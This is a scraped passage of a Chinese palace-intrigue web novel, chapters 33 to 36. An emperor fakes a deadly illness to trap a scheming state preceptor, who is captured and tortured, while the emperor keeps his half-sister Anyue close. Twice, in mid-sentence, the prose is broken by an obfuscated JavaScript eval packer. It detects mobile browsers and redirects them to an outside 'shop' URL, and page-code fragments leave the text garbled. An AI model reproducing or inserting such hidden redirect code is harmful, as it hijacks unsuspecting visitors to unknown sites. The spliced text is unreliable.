可这些也不过顺手为之,如何算好?只是看到她高兴的样子,他得了几分趣而已。 “因为你是我的妹妹。” 安玥更迷惑了:“可我和皇兄……之前也是兄妹。” 她不懂的东西,总要弄清了才罢休。 曲闻昭抬手在她面上不轻不重捏了一下,语气无奈,“因为从前不知妹妹是什么样的人,只是在同一个屋檐下,如今方算是相处过。” 安玥便懂了,皇兄是为她的淑慧清和所折服。她向来是旁人对她有好感,她便会对旁人有好感,加之皇兄容貌本就俊郎,先前那些不快稍稍散了些。 只是她仍未忘记眼前之人当初要杀自己的事。眼下仍只是将信将疑。 “凭宫规处置便是。” “玩忽职守,以下犯上,枷号禁闭三月,贬入掖庭,终身不得近前。” 胡禄先前候在外面,识趣地未进殿打搅,听着这一声,“奴婢明白。” 他接着道:“陛下,明康公主求见。” 明康公主,算是安玥的十一皇姐,虽交集不多,但关系尚可。 先帝子嗣众多,但夭折的也多,再除去和亲和外嫁的,在宫里的便也没几位了。 “让人进来吧。” 屋外起了风,一人缓缓朝屋内走来,她面上施了粉黛,却不浓艳,头上的兰花银步摇轻晃。隔着一大段距离,她停住了脚步。 “明康参见皇兄。听闻皇兄病了,明康特来探望。” 明康行礼时,悄悄抬眼打量曲闻昭。她与二皇兄并不算熟,只儿时说过几句话。前些日子在殡堂内,她也只遥遥见过他一面。 今日是母妃让她前来,代为探望。否则她断然是不会来的。 “你有心了。”曲闻昭拳头抵在唇边,轻轻咳了声。 明康触到那笑颜,脑中浮现起的却是另一张鲜血淋漓的脸,掺着腥臭的苔藓气。她面色白了几分,忙低下头。 曲闻昭将她面上情绪尽收眼底,冷不丁问:“可还有事?” 明康心里打了个突,摇摇头。待要行礼离开,看见一旁的安玥,她脚步一顿,悄悄拍了拍狂跳的心。 待转过身时,她面带微笑:“皇兄,我与十六妹妹许久未见,可否向皇兄借去说说话?” 曲闻昭未说话,将目光移到安玥身上,似在询问她的意思。 “皇兄,我一会儿回来。” 曲闻昭眼里没了笑意,在安玥看不见的地方,他抬眼睨了明康一眼。 明康面色微白,触到那人眼神,寒冬腊月的天,她后背渗出一层冷汗。待要细看,那头收回视线,周身又恢复那股温和孱弱之气。 她只觉危险,不敢再看,带着安玥离开。 含凉殿靠近太液池,晚间凉风阵阵。二人行至水榭,明康后背被冷汗沾湿,风一吹,不由得打了个寒颤。 她手上一重,多出一物。是一名侍女递来的斗篷。 “皇姐可是觉着冷?” 明康叹了口气,看了眼这个妹妹。以前父皇在世时,最宠爱的就是安玥,她难免有些嫉妒,但想了想自己是姐姐,加上安玥那么小就没有母妃了,便说服自己不应如此。 虽然不至于暗中使绊子,但也很难保持亲近。 如今父皇驾崩,直觉告诉她,那位皇兄没有那么简单。今日看到安玥,她突然生出一股“同是天涯沦落人”惺惺相惜之感。 她道了声谢。最后还是压低声音提醒,“那位皇兄未必是个简单的,莫要离得太近,也万万不要招惹,保持距离为……” 安玥打了个激灵,急急将人打断,“皇姐多心了。” 明康有些恨铁不成钢,到底不敢说下去,“总之你听姐姐一句,姐姐总不会害你。” 这宫里人人忙着明哲保身,她今日提醒这一句,已算仁至义尽。 她不想落得和四皇弟一般的下场,有些东西只能烂在肚子里。 安玥默了阵,并不逼迫,“多谢皇姐。” 明康不知她是否听进去,但见妹妹乖巧的样子,轻轻拍了拍她手背,“乖。”她看了眼天色,道:“乐康宫与镜烛宫顺路,这么晚了,妹妹同我一道回去吧。” 安玥对这个皇姐极有好感,又想到这个时辰皇兄应该快歇下了,她不是御医,在那边也无济于事,点点头,“听皇姐的。” * “陛下。” 屋内熄了光,只留桌案上一盏琉璃灯,发出微弱的光。 “她回去了?” “是,随明康公主一道回去了。” 曲闻昭呷了口茶,把喉咙里那股苦意压下去了些,“明康同她说了什么?” “说……”暗卫觑了眼陛下面色,“明康公主提醒安玥公主,同陛下保持距离。” 曲闻昭捏着茶盏的手微微收紧,眼尾却勾出几分笑意,“她是如何回应的?” 屋外起了风,烛火摇曳,一点点微弱的光倒映在他苍白的面上。 暗卫打了个寒颤,身形发僵,“陛下恕罪,属下离得远,未听清。” “孤知道了,你下去吧。” 暗卫如蒙大赦,“是。” 漆黑的人映投在白墙面上,月洞窗外偶传来几声鸟兽鸣叫。 曲闻昭屈指敲了下桌案。 胡禄听到声音,从内间出来:“陛下有何吩咐?” 曲闻昭摩挲着袖中的平安符,“安玥与明康公主的寝宫可是顺路?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16782648|187407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>胡禄垂着脑袋想了阵,谄笑道:“是顺路,在乐康宫,离得不算远。” 曲闻昭神色淡淡,“南边几座宫殿空着也是空着。乐康宫太小,不如就把绾晨宫赐给她。” 胡禄怔了下。 绾晨宫,那不是苓妃原先所住的宫殿吗?陛下怎得突然让人搬这么远? 他在心里替这位十一公主点了个蜡,“陛下放心,奴才知晓了。” 胡禄动作极快,第二日安玥便得知消息,皇姐要搬居所。她本想去祝贺,甫一出门,便听小太监来传话,“公主,陛下请您过去侍疾。” 安玥怔了怔,颔首应了。 午后的天空依旧白蒙蒙一片,沿路飘下雪来。 安玥仰起头,见无数雪粒争先恐后得打着旋儿从空中降下,落到掌心化开,秋去冬来。 一把青花色的油纸伞遮住了视线,挡住雪点。 一行人到时,安玥才发现皇姐也在。她站在殿外,谢过恩,避开了安玥看过去的视线,行礼离开。 安玥压下心底异样,入了殿,看清榻上之人。 “皇兄。” 曲闻昭捂着唇咳嗽了声,他唇上白得不见血色,靠在榻上,看见她时,眼里多出几分笑意,“过来些,陪皇兄说说话。” 安玥心绪有些复杂,“皇兄,外面下雪了,等你病好了,陪我赏雪吧。” 她靠近时,身上还沾有一丝屋外蹭上的雪气,被体温化开,正好驱散屋内的沉闷。 此刻捂了捂他的手,似是确定他的手是温热的,方把手收回。这几乎是不经意间的动作。当年先帝病重,她亦是如此。 “好。” “对了皇兄,你怎得突然让皇姐搬到绾晨宫去了?” 曲闻昭温声:“如今我生了病,殿外的人我信不过,难为有人肯来看我。前几年皇兄深居简出,亲缘淡薄,如今兄弟姊妹逝的逝,外嫁的外嫁。眼看天气转凉,乐康宫简陋了些,便想让十一皇妹搬个好点的住处。怎么了?可是有什么不妥?” 不知是否是因为“人之将死”,二人间的相处竟透着几分其乐融融,似临冬前的最后一点阳光。 “没有。”安玥摇摇头,眉眼弯弯,“那皇兄怎得厚此薄彼?” “你想搬到何处去?” “同皇兄开完笑的,镜烛宫挺好的。” 早年皇帝知道安玥怕黑,命人在宫内用铜镜折射灯光,又在树上长廊处布满琉璃纸绢各色宫灯。 又引活水穿堂过,冬暖夏凉。还修有一口温泉。她住习惯了,并不想搬。 “这几日不若搬过来陪陪皇兄可好?这个关头,皇兄不放心让旁人近身。” 安玥习惯性警惕,但一想到这人怕是没几日了,有些犹豫。她看了眼卧榻上的人,那只玉面透着病态的苍白,如同生了裂纹的瓷,一触便会裂开。 褪去玄圃难及,清绝难近之气,不再高高在上拿捏旁人性命,他似乎也只是一个会痛会病的凡人。身负那样的命格,在宫中必然举步维艰,安玥突然觉得皇兄有些可怜。 但这点情绪她自认隐藏得极好,她支着脑袋看他:“可有赏赐?” 她做这些倒也不全是为了曲闻昭。毕竟眼下镜烛宫出了这样的事,也不再安全了。 “妹妹想要什么?” 34. 第 34 章 “尚未想好。先欠着?” “那妹妹可得想好了,若是再拖得迟些,皇兄怕是来不及替你实现了。” “天子一言九鼎,皇兄已答应过我,不可食言。” 曲闻昭笑了声,“好。” “平日未见得你和你皇姐那般亲近,昨夜都聊什么了?” 安玥没把明康供出来,“姐妹聊天,皇兄也要听吗?” 他语气玩笑:“原是有秘密了。” “没说什么,只是皇兄生病,皇姐叮……叮嘱我用心侍奉罢了。” 曲闻昭含笑看了她一眼,“去把桌上的苹果削了。” “削苹果?”安玥一愣,这种事让侍儿做不就好了吗?她未反应过来,额头微痛,曲闻昭收回手,“不是要用心侍奉吗?把那一筐削完。” 安玥被噎了下,垂着脑袋把那筐苹果搬来,在曲闻昭旁边坐下,好在筐里苹果不多,也就三个。 她削得不熟练,连皮带果肉削下来一块,还要担心削到手,削得很慢。 “皇兄,有些无趣,你会讲故事吗?我让清栀讲,清栀都不会讲。” 曲闻昭语气含笑:“你让病人给你讲故事?” 安玥头埋得更低。 “等你削完吧。”他话落,面前出现一只半白半红的兔子,是用苹果削出来的。 安玥嘴角勾着笑,“送给皇兄。” “苹果皮削得不怎么样,兔子削得倒还成。” 她惯会甜言蜜语,“皇兄喜欢便好。” 安玥削得慢,但极为专注。等她再抬起头时,殿外的积雪一覆上厚厚一层,压弯了枝头,偶尔传来“荜拨”一声。 殿内烧了地龙,牖页只开了一条缝,将寒风阻隔在外,偶有雪粒飘进来。 “削完了。”安玥把果盘往曲闻昭面前递了递。 曲闻昭摇摇头:“你自己吃吧。” “皇兄消遣我呢?” “怕你觉得闷。” 安玥拿起苹果啃了一小口,待口中东西咽下,“那皇兄给我讲故事。” 曲闻昭悠悠开口,“从前狼群中有只狼,生得瘦小,喜欢披羊皮。因为格外迟钝,久而久之,别的狼都忘记了它是一只狼。除非找不到食物,否则他们也懒得去捕杀它,只是拿它当一个玩物。直到有一天,小狼长大了,它的爪子越来越利,它褪下羊皮,咬死狼王,取而代之。” 安玥支着脑袋,“狼为什么会喜欢披羊皮?” 曲闻昭笑了声,突然伸出一只手,轻轻捏住安玥的下巴,“弱肉强食,只能伪装,迷惑,装羊,或者装作一只兔子。” 安玥眨了眨眼,察觉到唇角微痒,曲闻昭伸出指腹,擦拭着什么。 “果皮没去干净,沾在脸上,成花猫了。” 安玥耳根微红,“还……还有吗?” 曲闻昭轻轻笑了声:“没了。” “我给你讲故事,你总该回我点什么。” “削苹果不够吗?” 曲闻昭含笑不语。 “我不会讲故事。”安玥环视一眼殿内,瞥到架上的琴,“我给皇兄谈曲子可好?” “可。” 安玥起身走到那架琴旁,琴身用的是梧桐木。数百蚕丝相缠,始得一弦。胎漆用的是鹿角霜,一眼便知是好琴。 她起了个调,有意避开那夜在含凉殿前吹的那首曲子,弹了首舒缓的曲子。 她的琴艺不算精湛,但绝对不难听。 两个人都极为默契的没提起那夜的事。 冬日的太阳落得要早些,窗外的雪停了,偶有积雪从枝头砸下,散在地里。 昏暗的大殿内,几盏连枝灯烧着烛芯,头顶是一盏华丽的垂灯,光点折射在漆黑的金砖上。玉盘珍羞堆满桌,白雾蒸腾。 左右太监宫女垂首站着,连呼吸声都微不可闻。 安玥不动声色的夹子块鱼肉细细咀嚼着,见皇兄每一道菜几乎都止于三筷,似乎无特别喜好。亦或是有,只是她并不了解。 所有的一切都隔了一层似的。 晚膳过后,安玥待要回到偏殿,见地上堆了落雪,一脚下去便是一个印子。她起了兴致,把手炉递给清栀,蹲下身。 安玥捧起雪,按了个雪团。清栀知道劝不过,隔段时间便把手炉递给安玥。 窗的另一侧,一双目光落在主仆二人身上。鹅黄的裙摆铺在雪地中,成了寂寥天地间唯一的亮色。 曲闻昭轻轻笑了声,“她倒玩得高兴。” 安玥拉着清栀一道,两个人捏了个雪人,身子有些热了,安玥取了两枚蜜饯给雪人当眼睛,又见雪人缺了双手。 她四下张望了阵,注意到头顶的树枝。树叶落光了,只剩下光秃秃的枝丫。 她心虚地看了眼四周,见无人,踮起脚折枝,却堪堪差了些。待想跃起去够,“啪嗒”一声,一只手先一步替她将树枝折下。 安玥吓了一跳,一扭头,见是曲闻昭,“皇兄?” 曲闻昭将树枝递来,他身上披了件白色的狐裘,未束发,只用一根玉簪别起几束,乌发如瀑,披在肩上,如雪山上的世外仙人般。他笑道:“不冷吗?” 安玥将残枝接过,朝他一笑,“多谢皇兄。” 她把残枝掰成两半,插在雪人的身上。微微错开些,问曲闻昭,“好看吗?” 曲闻昭看着雪人那双滑稽的“蜜饯眼”,唇角牵了牵,“丑极了。” 安玥面上笑容一僵,不顾冻红的指尖,在雪人身上刻下两个大字:皇兄。 清栀吓了一跳,一边觑着陛下面色,一边要去拦。却见陛下只是捏了下公主的手,轻轻笑了声:“这么冰,回去吗?” 在生死面前,似乎所有人都是一样的。亦无需畏惧,讨好。 安玥缩在帽子里,“嗯”了声,由曲闻昭拉着往回走。 她微微探出脑袋,眼神透着几分挑衅,“皇兄,那只雪人好看吗?” “好看。” 安玥笑了,她微微侧目。清栀收到眼神,到雪人前悄悄将“皇兄”用新雪盖去。 “消气了?” “本也没生气。等明日太阳一出来,雪人便化了,留在上面不吉利。” 曲闻昭笑了声。 甫一进殿,便有内侍端了姜汤过来。安玥怔了下,“给我的?” 不等人回复,她不着痕迹地转移开话题,“这书灯真漂亮。” 曲闻昭装作没看出,命人把姜汤放到桌上,“趁热喝。” “不喝行吗?” “你若是病了,便不止一碗姜汤这般容易了。” 安玥想打喷嚏,硬生生忍住了。一抬头见皇兄盯着自己,她被看得有些心虚。只得到桌边坐下。离得近了,那股辛辣味愈发明显。她舀了几勺喝下,一会儿的功夫面靥泛起红晕,眼里也蒙了层雾似的。 一碗姜汤空了大半,眼睛终于见底,她松了口气。 曲闻昭递了颗剥好的葡萄过来,安玥下意识道谢。原想借葡萄压压味道,却不想葡萄汁水爆开,一股酸味直卷而来,她想吐又寻不着地,生生吞下。 她看向曲闻昭,眼神有些难以置信,“酸的……” 曲闻昭将她表情尽收眼底,有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16785473|187407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些意外:“竟是酸的吗?” 安玥疑心自己被戏弄了,却见皇兄似是真的不知。她寻不着关口发作,闷闷道:“可酸了。” “那是皇兄的不是。” “没事,也不是很酸。”她坐了会,觉得有些热,捂了捂脸。 —— 天边云层散去,月明星稀,昏沉的夜空被月光开出一条霜路。 阁楼上,寒风拂动男人的一缕银发。 “大人。” 国师站在围栏边,微微侧目,“陛下如何了?” “听人说,整日都卧病在床,晚间用了膳,勉强能下床走动。” “看来差不多了。八皇子呢?” “回大人,暂时安置在北苑。” “他还不知道自己的身世吧?” 先帝第八子,昕贵妃所出,贵妃早年喜怒无常,苛待下人,打死了一名宫婢,却忘了那婢女是奶娘的女儿,奶娘怀恨在心,把尚在襁褓中的婴儿偷出宫。本欲将其溺毙,临至末时,到底心软,将那孩子放在竹篮里,让其逐流而去,被一家农户收养。至今已十五年过去。 襁褓中绣了八皇子的生辰,又有平安锁胎记为证。时隔多年,终于被国师寻到。 “应是不知。” “新帝那副身子骨,中了蛊怕是支撑不了多久。但愿八皇子是个听话的。” * 第二日,安玥是被敲门声惊醒的。 房门推开,内侍压低声音,“公主不好了,陛下病危了。” 安玥大脑“嗡”得一声,连忙唤人更衣。 她赶到时,曲闻昭靠在床上。见是她来,勉强侧过头。 温和,脆弱。苍白的面容宛如一盏瓷器,一碰就会碎开。 曲闻昭捂着帕子咳了两声,雪白的帕子竟沾了血迹,“皇兄信不过外面那些人,只能信你了。” 安玥见着这架势,接过药碗的手都在抖。她心绪有些复杂,端着药碗走到榻边。 “皇兄,你很难受吗?” 曲闻昭支着身,一缕乌发顺着肩膀垂下,“有点……你怕我死吗?” 安玥缩着脖子点点头。 “为何?” 安玥不说,但曲闻昭也知道。他一死,外边的人便会跳出来,说是安玥在药里下毒,害死的他。 曲闻昭唇角勾了勾,他眼尾泛红,生出几分绮丽,透着邪气。此刻语气温和,似是引诱:“那安玥来陪皇兄如何?” 安玥听到他温柔的语气,不自觉应“好……” “什……什么?” 她愣了下。 曲闻昭含笑看她:“我死后,便传位给六弟。只是六弟常年在冷宫,如今有些神志不清。届时还需安玥帮扶。皇兄与舅舅打过招呼,他会帮你。” 言下之意,待我死后,你便是一人之下万人之上。 安玥目光怔住,这般直愣愣地看着他,似是未想到皇兄会替自己安排。 曲闻昭勾了勾唇,不自觉揉了揉她脑袋,“便当是你这些时日照顾我的报……” 安玥头一次将他打断:“皇兄会长命百岁的!”她将药放在榻边的紫檀木几上,用盘中另一只勺试过毒,未防那药汁极苦,她呕了声。 她想起身上还有半包未吃完的蜜饯,连忙拿出一枚递到曲闻昭嘴边。 少女指腹柔软温热,触碰到唇的一瞬间,勾起酥麻的痒意。 曲闻昭支着床的手微蜷,启唇把那枚蜜饯含住。 “为什么?” 安玥愣了下,“皇兄你说什么?” “为什么对我好?” 35. 第 35 章 安玥把剩下的蜜饯塞到曲闻昭手里,不解:“这不是很寻常的照顾人吗?” 话脱出口,她想起皇兄这些年在宫中处境,僵了僵,忙道:“因为皇兄是亲人。” 曲闻昭忽然有点想笑,可她这便宜妹妹和他半文钱关系都没有。 也对,她这样的性子,怎么可能会是老皇帝所出呢? “花言巧语。” 安玥有些害怕:“若是皇兄病危之事传出,会怎么样?” “那背后之人,便该来收网了。不过,我病危一事,似乎已不是秘密了?” 安玥面上血色登时褪了个干净,她哆哆嗦嗦想跑,一只手偏生拉住她手。他力道不大,覆在她手背上,轻轻按了下她的小指骨,她小指一缩,被他不轻不重捏住。 他眼底含笑:“妹妹这会要走,怕是迟了。” 那日事发,安玥本以为自己必死无疑了。却不想事有转机。未曾想希望才刚冒出了个头,又跌回谷底。 安玥大惊失色,反手死死握住曲闻昭的手,抓着救命稻草似的:“呜呜呜……我不想死。” 二人间那股旖旎之气登时做鸟兽散。安玥拽得极紧,她抖得厉害,连带着曲闻昭的手臂都在颤。 曲闻昭目光在她拽着自己的那只手上落了下,“怕什么,又不会真的让你死。” 安玥未来得及深想这句话是何意思,“对不起皇兄,我骗了你。那卷经,我是用鸡血抄的……太疼了呜呜呜……” “是不是佛祖觉得我不诚心,所以才……” 曲闻昭:“……” “或许?” “那我再抄一次,皇兄能好吗?” 曲闻昭见她没有一丝开玩笑的样子,愕然片刻,无声笑了笑,“我不信这些,妹妹可别做傻事。” 安玥垂着头,听到身后传来脚步。 她以为是宫娥,只微微侧了下目,余光瞥见一道金色的袍角。 她浑身一僵,转过头,看清来人。 是国师。 “陛下,您的身子,可好些了?” 曲闻昭咳嗽了声,摇摇头。 国师低头,看见安玥,有些意外,“公主怎么在这?” 安玥面色发白,哆哆嗦嗦挡在曲闻昭身前。 曲闻昭看清她动作,在国师看不见的暗处,他轻轻拍了拍她手背。 “陛下,微臣这几日夜观天象,您这病,是治国不善,方降下天罚。” “一派胡言!”安玥怒目看他。 国师笑了笑,未理会安玥,接着道:“若是想痊愈,陛下得跟着星晷的指示,跟着臣的指示。” 曲闻昭坐起声,轻飘飘地抬起目光,昏暗中生出锐意,“若是孤不愿意呢?” “天神发怒,流血千里。” “孤倒真想见见那场景。” 曲闻昭注意到安玥浑身紧绷,又拍了下她手,“你先出去。” 安玥警惕地看了眼国师,又看向曲闻昭,“皇兄。” 曲闻昭温声道:“不会有事。” 安玥惊疑不定,站起身。 曲闻昭看着她背影,一时觉得有些无趣。却见电光火石间,安玥从袖中拿出匕首架在了国师脖颈上。 一切发生的太快。快到国师都未反应过来。 “公主这是做什么?” 安玥不说话。 可国师感觉到了,安玥拿着刀的手在抖,甚至因为贴得太近,匕首不小心割破皮肉。他眉心微蹙,感觉到架在脖颈上的手仍抖个不停。 “公主待要如何?” “……解药。” “怕是要让公主失望了,臣没有。” 国师话落,眼神一厉,袖中寒芒闪过,手拿尖锥向安玥刺去。 安玥面色发白,未来得及反应,便听“铮”得一声,一把匕首从床边飞掷而来,生生将国师的手射穿。他闷哼一声,倒在地上,伤口鲜血直流。 安玥虎口逃生,腿一软险些跌下去,飘来一股熟悉的药香,她被一双手稳稳扶住,几乎半个身子都靠在曲闻昭身上。 与此同时地面微颤,殿外暗卫顷刻间冲了进来,将地上的人制住。 国师目色震惊,脸上的沉静因惊怒生出一丝皲裂,眼尾也被勒出皱纹,“你没中蛊?!” “看来国师算得不太准。”曲闻昭声色冰寒,“带走。” “是!” 安玥被他扶着,怔怔抬起头,皇兄都忘了叫:“你没事?” 曲闻昭莫名想笑,可不知为何心中生出一抹不祥,“好像好了。” 好像? 安玥反应过来,神情一松,接踵而至的是生气,她把曲闻昭推开,“你骗我?” 她自认以诚待他,未成想从头到尾被利用了个干净。 “生气了?” 她一双眼睛怒视着他,忍了又忍,方咬牙从缝中挤出一句:“皇兄没事,自然是好。妹妹这几日担惊受怕,看来都是白费功夫。” “本是权宜之计,想逼背后之人现身,不是有意骗你。” 安玥不想理他,推开他转身要走,刚到门口,听到身后传来一阵瓷器碎裂的声音。她心下一惊,回过头,见曲闻昭一手扶着桌子,似有些站不稳,他一只手被瓷器划伤,还渗着血。 安玥心下一惊,连忙将人扶起,“皇兄你怎么样?” “许是体内余毒未清干净,有些晕。” 安玥连忙扶着人到凳子上坐下,就要去传御医,被曲闻昭拉住,“没事,坐会就好了。” 安玥从药箱里拿了止血的药出来,哆哆嗦嗦往伤口上洒。刺痛袭来,曲闻昭却连眉头也没皱一下,笑她:“你手抖成这样可怎么上药?” 安玥把药塞到他另一只手里,有些气恼,“那你自己来。” 曲闻昭接过药瓶, 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他收回的手一顿,缓缓抬眼,“怎么死的?” “回陛下,他不知上哪得了把匕首,自尽。” 曲闻昭端起茶盏的手微顿,他拇指摩挲着袖中的锦帕,许久。 “死便死了,尸体处理干净。” “是!” 曲闻昭把另一枚尖锥一并放到瓷瓶边。那是国师留下的。无需他开口,林敬把两样东西接过,“属下明白!” “陛下,容属下多问一句……公主如何处置?” 如果这时候要动手,只需坐实她的罪名,再不动声色除掉,对外说是畏罪自杀,无需废太多的心思。 曲闻昭垂了下目光:“只需她不自己撞上来。” 林敬心下了然,这是不杀的意思了。 晨光微熹。冰冷的粉尘在日光下漂浮,房内萦绕着一股血腥气。 不远处似有一道脚步,不紧不慢朝这边走来。国师勉强抬了抬眼,他双腿被尖锥穿透,衣袍上的鲜血干涸成黑色,袍下是两个血洞。 模糊的视野里,出现一道玄色的袍角。他没再往上看,转而沉沉将双目闭上。 曲闻昭在他面前不远处的一把太师椅上坐下,便有人一把拉起地上的人,朝这边拖来。 紧接着一盆冷水自国师头顶灌下,他乜着眼,不知盯着何处,只是整个人瞧着似是清醒了些。 殿门合上,四周只留有几名佩刀近侍。 “今日孤来,是为请教国师一个问题。” 国师那张苍白的脸,此刻如沉石般,他闭着眼,“陛下……有何问题?竟也需请教臣么?” “孤只是好奇,这世上可有魂穿之术?” 36. 第 36 章 国师沉默片刻,沾了水的眼皮微动,缓缓睁开。他似被勾起几分兴趣,“魂穿?” “臣早年出行西域,倒听人说过,人生在世,皆有一颗命星。若一个人,命格有缺,待时机到了,便会以一种异常之径补回。” “命格有缺?” 国师想到什么,唇角勾起一抹讥讽的弧度,“便如陛下这般,天煞孤星,刑克六亲。注定无情,无爱,也不会有人爱你。岂非可悲?” 曲闻昭指腹轻轻摩挲着椅柄,凤眸微挑,不见喜怒。 “魂穿之法,也不过是借另一身体之命格,补足残缺,可借这种方式得来的,也不过自欺欺人罢了。” 椅上的人终于垂下了眸,他盯着地上的人,许久,似是轻笑了声,却让人不寒而栗。 “孤今日来,是寻破解之法。只是国师似乎上了年纪,看来得用些法子,帮国师回忆回忆。” 他冰冷的目光移向身侧,起身离开。殿门推开,身后传来惨叫。 如同一只破锣,被锋锐刺出尖声。 胡禄总觉陛下不会无故问起此事,他担忧了一路,待回了宫,确定周遭无人,方壮着胆子试探:“奴婢可否斗胆问一句,陛下……可是遇着危险了?” 曲闻昭自然知道他说的是何事。他抬手倒了杯茶,神色平淡,大致提了句经过。却是把胡禄惊震在原地。 这件事自谁口中说出,他都会以为这人戏耍于他,可偏偏是由陛下口中说出的。最不可能在正事上同他开玩笑的人。 那些怪力乱神之事,他向来是将信将疑。此刻却有些颠覆了,他仍是不死心,觑了眼陛下神色。 陛下提及此事时,面上不见悲喜,也无慌乱,反倒像是在说一件事不关己之事。先前从国师那儿带来的冰寒之气,不知何时竟也融散了。 先前陛下同公主间的那些事,突然变得顺当起来。 那二人岂不是日日睡在一块,便连沐浴……? 胡禄后知后觉,心下了然,难怪陛下这会不慌不忙的,保不齐还…… 他唇角抽了下,待要偷偷再看,不想几番动作早已被曲闻昭察觉。他这次抬头,上边一道目光冷冷扫了下来。他脖子一僵,忙低下头不敢再想。 此事不可声张,宫内也暗中招揽过不少奇人异事,无一不是酒囊饭袋。 今日国师说的也不过是一些似是而非的话,未能给出解决之法。 纸包不住火,若是迟迟无法解决,怕是麻烦了。胡禄担忧起来,“陛下,若无破解之法,可如何是好?” 曲闻昭未说话。正好林敬从外边进来。 曲闻昭面上无半分焦急。他面色平淡,仿佛出意外的不是他一般,对着林敬提起另一件事:“人找到了么?” 林敬单膝跪下:“属下无能。” “自去领十鞭。” “是。” * 安玥用过午膳,清栀陪着她在御花园散步,走到一半,安玥觉得脚边传来异样,一低头,方看清是一枚纸团。 清栀反应过来,将那枚纸团拾起。 安玥看了眼四周,压下心中疑惑,将纸团接过打开。 “姜贵妃假死脱身,若想知下落,拿解药来换:瞻晷阁,星盘机关下。” 她浑身僵住,拽着纸条的手因用力而颤抖。 母妃没死? 若是这是真的…… 她鼻子一酸,觉得好像有数种料汁搅翻在心里,最后心口处泛起一股酸疼,隐隐发麻。 母妃,安玥很想你。 这纸条是谁给她的?国师吗? 她恢复冷静。这有可能是国师的脱身之法,她不能全信。 但国师此刻已被软禁,她可以拿到解药,但给的是不是真的,便是另一回事。至少她要确定,此事是真的。 国师被软禁后,瞻晷阁便成了一座空楼。 但只是表面上。 夜寂无人之时,她趁着暮色去了一趟阁楼,并未带侍从。 瞻晷阁坐落在一座矮山上,但若要爬上去,还需费些功夫。 积雪未化尽,石阶铺了一层雪霜。四周漆黑一片,枯枝将唯一的月光遮挡住,连山顶本该点有宫灯的阁楼也熄了光。只有顶端的一颗夜明珠可勉强定做方位。 漆黑的枝爪投在长阶上,手中的灯亦被寒风打得忽明忽暗。 安玥打了个寒颤,不自觉拽紧了灯柄。爬上最后一阶石阶时,手里的灯应风而灭。脚下彻底陷入漆黑。 死寂。 遭了,一会儿该如何回去? 她僵了僵,便听有什么东西呜呜作响,如泣如诉。 她看不清路,只能硬着头皮往前挪。终于走到阁楼前,却见大门已然上锁。她今夜本是想来碰碰运气,对这个结果并不意外,只是难免失落。 长时间的黑暗让她有些恍惚,门上铜环上的椒图陡然暴起铜铃般的眼,安玥浑身一颤,不敢细看,待要离开,身后传来凉意。 紧接着肩膀一重,似有什么东西压了上来。 她险些惊叫出声,手里的灯“窸窣”一声砸在地上,身体发僵,不敢回头。 直到一声轻笑打破了漫长的死寂,“妹妹在这做什么?” “皇……皇兄?” “是你吗?” 身后的人默了半晌,安玥以为自己撞鬼,快哭了,僵硬得转过脖子,看清来人。 曲闻昭身长玉立站在雪地里,身上披了件玄色鹤氅,手里提着盏宫灯,照亮了他大半个身子。 她目色一喜,顾不得心虚,乳燕投林般一把将人抱住。 曲闻昭待要出声,却听安玥抱怨,“皇兄你怎么不出声,我以为是……吓死我了。” 曲闻昭笑了声,轻轻拍了拍她肩,他手掌几乎是冰凉的,“既知害怕,这么晚到上面来做什么?” “散……散心。” 曲闻昭做了个“哦”的口型。 “皇兄呢?” “来接你。” “什……什么?”安玥松开他。 曲闻昭捏了捏她的下巴,弯下身子,“阁楼附近并非无人看守。回去吗?” 安玥不敢告知曲闻昭真相,缩着脖子点了下头。 曲闻昭方露出些笑来。 他牵过她手,感受到她发凉的手心渗出的些许湿意,“既知害怕,怎么不多带几个人?” “想一个人走走……今夜多亏皇兄。” “若是要散心,旁处也可。传言这矮山上夜晚有精怪作祟,会食人精魄,还是少来得好。” 安玥面色微白,往曲闻昭那边靠了靠,另一只手搂住他手臂,“真……真的?” “不信?” “信……” “只是毕竟是传言,或有夸大之处。” 安玥哆哆嗦嗦拽了拽衣袖,确定符纸还在,松了口气。 曲闻昭突然觉得身侧的鹧 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曲闻昭当机立断拉过安玥,朝另一条路跑去。 她腿脚发软,被曲闻昭带得跌跌撞撞往山下跑。寒风灌来,呛得安玥直咳嗽。五脏六腑都似火烧,求生欲逼着她不敢停下。 小径上有不少碎石,安玥被绊了一下,脚踝传来锥心的疼痛。 曲闻昭察觉的身侧之人异样,稍稍停下脚步,未来得及说话,手上一松,安玥挣开了他。她浑身颤抖,语气却是飞快,“皇兄你跑吧,不用管我了!” 曲闻昭目色复杂的看着安玥,似是在衡量什么。仅片刻犹豫,他吹熄了灯,拉过安玥,侧身闪入一旁的杂草中。 二人蹲下身,安玥瞪大了眼,一只手先一步捂住了她的唇。 瞬息的功夫,豺狼已经追上。 四周是干硬的枯草,刺得人生疼。她伤了脚,昏暗逼仄的草丛里,她几乎是整个人贴在曲闻昭身上,他生有茧的掌心灼热,直贴着她唇瓣。 确定她不会出声,曲闻昭方缓缓把手放下。 他指腹捻了下掌心,有些湿。 也不知她如今是个什么表情? 好奇心浮起的一瞬,他不自觉看向身前的人,却只见到漆黑的轮廓,缩在他怀里瑟瑟发抖。 